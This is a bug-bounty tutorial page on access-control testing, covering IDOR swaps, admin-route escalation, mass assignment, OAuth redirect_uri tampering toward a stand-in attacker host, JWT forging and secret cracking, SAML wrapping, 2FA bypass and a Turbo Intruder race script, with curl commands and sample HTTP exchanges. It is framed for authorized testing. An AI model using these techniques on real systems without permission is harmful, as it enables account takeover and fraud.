Skip to content
TECHNIQUE 02/13OP AUTHZ

Access control testing

9 min readRecon Atlas

Access control bugs are the best return on recon. No scanner finds them reliably, because only you know which two users should not see each other’s data. Your recon output already lists the endpoints. This part turns that list into a test plan.

This page is the short version. The IDOR Hunting guide goes deep on identifier formats and the multi-account diff. The Broken Access Control guide covers vertical escalation, transport tricks and account takeover.

Every access control test needs at least two identities, so you can ask “can account A reach account B’s thing?”.

  1. Create two accounts at the same privilege level, A and B, on the target. A plays the attacker and B the victim. Note each one’s object IDs: user id, order ids, document ids, team id.

  2. If the app has roles, create a third low-privilege account C (viewer, member) and a high one if you can (admin, owner). Vertical tests ask whether C can do what only an admin should.

  3. Keep the sessions apart so cookies never mix. Use two browsers, two Firefox containers, or one browser plus curl with each token.

  4. Proxy both through Burp or Caido. You will replay B’s requests with A’s session and watch the response.

Terminal window
# Keep each account's session in its own file for curl-based tests
echo 'Cookie: session=AAA...' > acct-a.hdr
echo 'Cookie: session=BBB...' > acct-b.hdr

In a multi-tenant app, write down each account’s org_id too. A check that only compares user ids still returns another tenant’s record when the org id is the real boundary.

Signaljs/endpoints.txt, urls/with-params.txt
NoiseLight active
Severitymedium to critical
ConfirmRequest B's object while authenticated as A. A 200 that returns B's data is the bug. A 403 or empty result is correct behaviour.

Map every endpoint that takes an object identifier. Your recon already surfaced them: ID-style parameters from urls/with-params.txt, and API routes from js/endpoints.txt.

Terminal window
# Pull endpoints that carry an id-like parameter from the archived URLs
grep -Ei '[?&](id|user_id|account|order|uuid|doc|file|team|invoice)=' urls/with-params.txt | sort -u > params/idor-candidates.txt

For each candidate, log in as A, then replay the request that returns A’s object, swapping A’s id for B’s. Do it in Repeater so you see the full response. A clean confirmation is A’s session returning B’s name, email or document.

A read of B’s invoice proves the check failed for GET. Repeat the same swap on the DELETE or PATCH for that object. Those handlers often check on their own, and a write is the report you want.

GET /api/v1/invoices/1042 HTTP/1.1
Host: billing.example.com
Authorization: Bearer token_for_account_a
Accept: application/json
HTTP/1.1 200 OK
Content-Type: application/json
{"invoice_id":1042,"owner_id":"usr_b109","customer_email":"user_b@example.com","amount_cents":45000,"status":"paid"}

Account A’s token asked for invoice 1042 and got owner_id usr_b109 with user_b@example.com. That is B’s invoice. The same 200 does not mean A can DELETE or PUT that invoice. Those routes can check ownership in their own handlers.

Autorize automates the replay across your whole session. It runs every request your high-privilege session makes a second time with a low-privilege token and flags where the two responses match.

Tool Noise What it does Status
Autorize Light active Replays each request with a second session, flags “same response” Burp BApp, maintained
Authz Light active Similar idea, replays with modified roles Burp BApp, older
AuthMatrix Light active Grid of roles against requests you define Burp BApp, older
Signaljs/endpoints.txt
NoiseLight active
Severityhigh to critical
ConfirmCall an admin-only action with account C's session. Success, a state change you can see, confirms it.

JavaScript bundles ship routes the UI hides from low-privilege users. In js/endpoints.txt from recon, look for routes with admin, internal, manage, role, delete, approve. The front end hides the button; the back end may not check the role. Call the route directly as account C.

Terminal window
# Admin-shaped routes hiding in the JS endpoint list
grep -Ei '/(admin|internal|manage|moderat|approve|role|permission|impersonate)(/|$)' js/endpoints.txt | sort -u
POST /api/v1/users/permissions HTTP/1.1
Host: auth.example.com
Authorization: Bearer token_for_account_c
Content-Type: application/json
{"target_user_id":"usr_c551","assigned_role":"admin"}
HTTP/1.1 200 OK
Content-Type: application/json
{"status":"success","user_id":"usr_c551","role":"admin"}

Account C, usr_c551, posted assigned_role admin and the body came back "role":"admin". That is a state change on this route. It does not mean every other admin route is open. A gateway can still check the role on the next path.

A random UUID cannot be guessed, so a UUID endpoint looks safe. It often is not. Look for leaks.

  • Another endpoint returns a list that includes other users’ UUIDs: a search, an export, an autocomplete, a shared-with list.
  • The UUID appears in a URL you can get another user to visit, or in a notification.
  • A nearby endpoint still uses a sequential id, and you can map one to the other.
  • The object is created with a predictable UUIDv1 (time-based) rather than random v4.

If you can obtain B’s UUID through any of these, the IDOR is live. Record where the leak came from in your report, because “the ID is unguessable” is the first thing a triager will raise.

Signalparams/hidden.txt, js/endpoints.txt
NoiseLight active
SeverityHigh
ConfirmAdd a privileged field to a profile-update body and read it back. If the field saved, it is mass assignment.

When a hidden parameter from recon is named role, is_admin, plan, verified or owner_id, the update endpoint may copy request fields straight onto the object. Add the field to a request that is allowed to change your own profile.

Terminal window
# A profile update that tries to grant itself a role (your own account)
curl -s -X PATCH https://example.com/api/users/me -H @acct-c.hdr \
-H 'Content-Type: application/json' -d '{"name":"c","role":"admin"}'

Read the object back. If role is now admin, the finding is confirmed. Do not then use the elevated access beyond proving it.

PATCH /api/v1/users/me HTTP/1.1
Host: app.example.com
Authorization: Bearer token_for_account_c
Content-Type: application/json
{"display_name":"Researcher","is_enterprise_plan":true,"verified":true}
HTTP/1.1 200 OK
Content-Type: application/json
{"id":"usr_c551","display_name":"Researcher","is_enterprise_plan":true,"verified":true,"email":"researcher@example.com"}

The response stored is_enterprise_plan and verified from fields the client sent. Read the user back on a later request and confirm the columns stayed. A column flip does not by itself turn on paid features. Billing can still check a payment record.

Sign-in-with flows carry their own access control bugs. Recon surfaces them when httpx and JS analysis show an /oauth, /authorize or /callback endpoint and a redirect_uri parameter.

Signalurls/clean.txt, js/endpoints.txt
NoiseLight active
Severitymedium to critical
ConfirmThe authorization server sends the code or token to an attacker-controlled destination, or accepts a replayed code or missing state.
Flaw Test Why it works
Weak redirect_uri validation Change redirect_uri to https://attacker.example.io, or append .attacker.example.io, @attacker.example.io, /../, or an open redirect on the real domain The code or token is sent to you
Missing state Remove state and complete a login CSRF Attacker links a victim session to the attacker account, or vice versa
Implicit flow token leak Token returned in the URL fragment leaks via Referer or history Any page that loads an attacker resource can read it
Authorization code reuse Replay a used code at the token endpoint A code should be single-use; reuse means account access
Terminal window
# Smoke-test redirect_uri handling: does the server follow a changed host?
curl -s -i "https://example.com/oauth/authorize?client_id=web&response_type=code&redirect_uri=https://attacker.example.io/cb&state=x" | grep -i '^location:'

If the Location points at your host carrying a code, you have a redirect_uri bug. Confirm the code actually exchanges for a token before you call it critical. Keep an open redirect on the target domain in mind: it chains into this when exact-match validation is missing.

SignalAuthorization headers, cookies, and JS that decodes a token
NoiseLight active
Severityhigh to critical
ConfirmA token you altered is accepted as valid, for example a forged admin claim that the server trusts.

When the session is a JSON Web Token, the token itself is the access control. Decode it first (the middle segment is base64 JSON), then test whether the server really verifies the signature.

Attack Test Why it works
alg:none Set the header alg to none and strip the signature A server that honours none skips verification entirely
Weak secret Crack an HS256 token against a wordlist, then re-sign with new claims A guessable secret lets you mint valid tokens
kid injection Point the kid header at a file you control or inject SQL into it The server loads the signing key from an attacker-influenced path
Algorithm confusion Re-sign an RS256 token as HS256 using the public key as the secret The server verifies with the wrong key type

jwt_tool runs all of these from one command and flags which the server accepts.

Terminal window
# Run the common checks, including alg:none and a secret-cracking pass
jwt_tool "$TOKEN" -M at -t https://example.com/api/me -rh "Authorization: Bearer $TOKEN"
Terminal window
# Crack an HS256 secret offline, then forge a new token
jwt_tool "$TOKEN" -C -d /usr/share/wordlists/rockyou.txt

JWT also shows up as an API authentication scheme in API and service testing. The token mechanics are the same, so test it once and cross-reference rather than duplicating the work.

Signal/saml, /sso, /acs endpoints and SAMLResponse parameters
NoiseLight active
Severityhigh to critical
ConfirmA modified assertion is accepted, for example a changed NameID that logs you in as another user.

SAML single sign-on carries access control in a signed XML assertion. The classic bugs are signature handling. The service provider may accept an unsigned assertion, verify the wrong element, or fall to XML signature wrapping. In wrapping, a second, attacker-controlled assertion rides alongside the signed one. Capture a SAMLResponse, decode it (base64 then inflate), and test whether editing the NameID or wrapping the assertion is caught. The SAML Raider extension for Burp automates the edits and the wrapping payloads. XXE in the assertion parser is also in play; the OOB entity probe is in injection. Stop at the first accepted edit; the Broken Access Control guide covers the full account takeover chains.

These authentication bugs sit next to access control because they all end in using another account.

  • Password reset. Watch the reset request and response. These are reportable: a token in the response body, or one that never expires or is reused. A reset that does not invalidate old sessions is reportable too. So is a Host header the reset link honours, because host header injection poisons the link. Test whether changing the account identifier in the reset-confirm step resets someone else’s password.
  • 2FA bypass. After the password step, try these: request the post-2FA endpoint directly and remove the 2FA parameter. Send an empty or true code, or reuse a code. Brute force a short code with no rate limit. A flow that lets you reach the authenticated area without a valid code is the bug.
  • Session fixation. Note the session cookie before login. If the same cookie value is still valid after you authenticate, an attacker who planted it now shares the session. A login should issue a fresh session identifier.

For the full chains, see the Broken Access Control guide on OAuth, 2FA and MFA, password reset, sessions and session tokens and JWT. Here, stop at the first signal that proves the flaw.

SignalAny action meant to happen once: redeem, withdraw, apply coupon, accept invite
NoiseLight active
Severitymedium to critical
ConfirmAn action that should run once runs several times from parallel requests, for example a coupon applied twice or a balance over-withdrawn.

When a limit is checked and then applied in two steps, firing the request many times at once can slip between the two. Burp’s Turbo Intruder sends a single-packet batch so dozens of requests arrive together, which beats the check-then-act window far better than a sequential loop.

# Turbo Intruder: single-packet attack, 30 copies of the same request
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, engine=Engine.BURP2)
for i in range(30):
engine.queue(target.req, gate='race1')
engine.openGate('race1')

Good targets are redeeming a one-time code twice and applying a coupon more than once. Others are withdrawing a balance in parallel and accepting an invite repeatedly to gain extra seats. Prove it with your own accounts and the smallest effect that shows the limit broke.

The reason access control bugs get missed is that there are too many endpoints to hold in your head. Put them in a grid so nothing is skipped.

Make a spreadsheet. One row per endpoint and method. Columns: URL, method, object id param, “A reaches B?”, “C does admin?”, “unauth reaches it?”, result, notes. Fill it as you test. An empty cell is an untested path, not a safe one.

Terminal window
# Seed the matrix: method and path pairs from your crawl, deduplicated
jq -r '.url' http/httpx.json >/dev/null 2>&1; cat js/endpoints.txt urls/api.txt 2>/dev/null | sort -u > access/endpoints-to-test.txt

Work the matrix against your now queue from triage. Access control is slow, manual and the highest-paying class in this guide. The spreadsheet is what makes it thorough.

Next, send payloads at the parameters your recon filtered in injection.

Connections7 backlinks · 15 outgoing · 15 cross-guideFull graph →
Open local graph around this page
Open full graph →
Click a node to open · Drag to reposition · Scroll to zoom

Recon AtlasFor authorized testing only. Your scope is the map edge.